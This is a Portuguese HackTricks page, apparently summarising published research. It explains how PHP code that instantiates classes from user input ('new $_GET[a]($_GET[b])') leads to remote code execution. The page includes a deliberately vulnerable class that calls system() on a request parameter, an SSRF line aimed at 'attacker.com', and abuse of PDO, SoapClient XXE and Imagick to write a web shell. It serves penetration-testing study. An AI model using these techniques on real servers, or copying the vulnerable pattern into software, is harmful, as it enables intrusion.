6.9 KiB
PHP - RCE abusando da criação de objetos: new $_GET["a"]($_GET["b"])
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial do PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud do github.
Este é basicamente um resumo de https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
Introdução
A criação de novos objetos arbitrários, como new $_GET["a"]($_GET["a"])
, pode levar à Execução Remota de Código (RCE), conforme detalhado em um writeup. Este documento destaca várias estratégias para alcançar RCE.
RCE via Classes Personalizadas ou Carregamento Automático
A sintaxe new $a($b)
é usada para instanciar um objeto onde $a
representa o nome da classe e $b
é o primeiro argumento passado para o construtor. Essas variáveis podem ser provenientes de entradas do usuário como GET/POST, onde podem ser strings ou arrays, ou de JSON, onde podem se apresentar como outros tipos.
Considere o trecho de código abaixo:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
Neste caso, definir $a
como App
ou App2
e $b
como um comando de sistema (por exemplo, uname -a
) resulta na execução desse comando.
Funções de carregamento automático podem ser exploradas se nenhuma dessas classes for diretamente acessível. Essas funções carregam automaticamente classes de arquivos quando necessário e são definidas usando spl_autoload_register
ou __autoload
:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
O comportamento do carregamento automático varia com as versões do PHP, oferecendo diferentes possibilidades de RCE.
RCE via Classes Internas
A falta de classes personalizadas ou autoloaders pode ser suficiente para RCE. O número dessas classes varia entre 100 e 200, com base na versão do PHP e extensões. Elas podem ser listadas usando get_declared_classes()
.
Os construtores de interesse podem ser identificados por meio da API de reflexão, conforme mostrado no exemplo a seguir e no link https://3v4l.org/2JEGF.
RCE via métodos específicos inclui:
SSRF + Desserialização Phar
A classe SplFileObject
permite SSRF por meio de seu construtor, permitindo conexões com qualquer URL:
new SplFileObject('http://attacker.com/');
SSRF pode levar a ataques de desserialização em versões do PHP anteriores a 8.0 usando o protocolo Phar.
Explorando PDOs
O construtor da classe PDO permite conexões a bancos de dados via strings DSN, potencialmente permitindo a criação de arquivos ou outras interações:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
Versões do PHP até 5.3.22 e 5.4.12 eram suscetíveis a ataques XXE através dos construtores SoapClient
e SimpleXMLElement
, dependendo da versão do libxml2.
RCE via Extensão Imagick
Na análise das dependências de um projeto, foi descoberto que o Imagick poderia ser utilizado para execução de comandos por meio da criação de novos objetos. Isso apresenta uma oportunidade para explorar vulnerabilidades.
Analisador VID
Foi identificada a capacidade do analisador VID de escrever conteúdo em qualquer caminho especificado no sistema de arquivos. Isso poderia resultar na colocação de um shell PHP em um diretório acessível via web, alcançando a Execução Remota de Código (RCE).
Analisador VID + Upload de Arquivo
Observa-se que o PHP armazena temporariamente arquivos enviados em /tmp/phpXXXXXX
. O analisador VID no Imagick, utilizando o protocolo msl, pode lidar com curingas em caminhos de arquivos, facilitando a transferência do arquivo temporário para um local escolhido. Este método oferece uma abordagem adicional para alcançar a escrita de arquivos arbitrários no sistema de arquivos.
PHP Crash + Força Bruta
Um método descrito no artigo original envolve o envio de arquivos que causam uma falha no servidor antes da exclusão. Ao forçar o nome do arquivo temporário, torna-se possível para o Imagick executar código PHP arbitrário. No entanto, essa técnica foi considerada eficaz apenas em uma versão desatualizada do ImageMagick.
Referências
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.